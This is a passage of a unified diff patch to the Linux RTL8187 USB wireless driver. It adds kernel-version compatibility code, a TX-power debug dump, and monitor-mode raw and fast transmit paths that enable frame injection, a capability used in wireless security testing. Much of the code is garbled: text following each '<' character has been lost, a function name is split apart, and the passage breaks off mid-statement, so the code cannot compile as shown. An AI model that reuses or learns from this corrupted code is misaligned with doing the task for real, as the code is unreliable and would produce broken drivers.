Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,31 +1384,38 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else priv->stats.txnperr++; kfree(tx_urb->transfer_buffer); usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_dec(&priv->tx_np_pending); + } //rtl8180_try_wake_queue(dev,NORM_PRIORITY); } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1425,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1438,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1480,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1497,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= 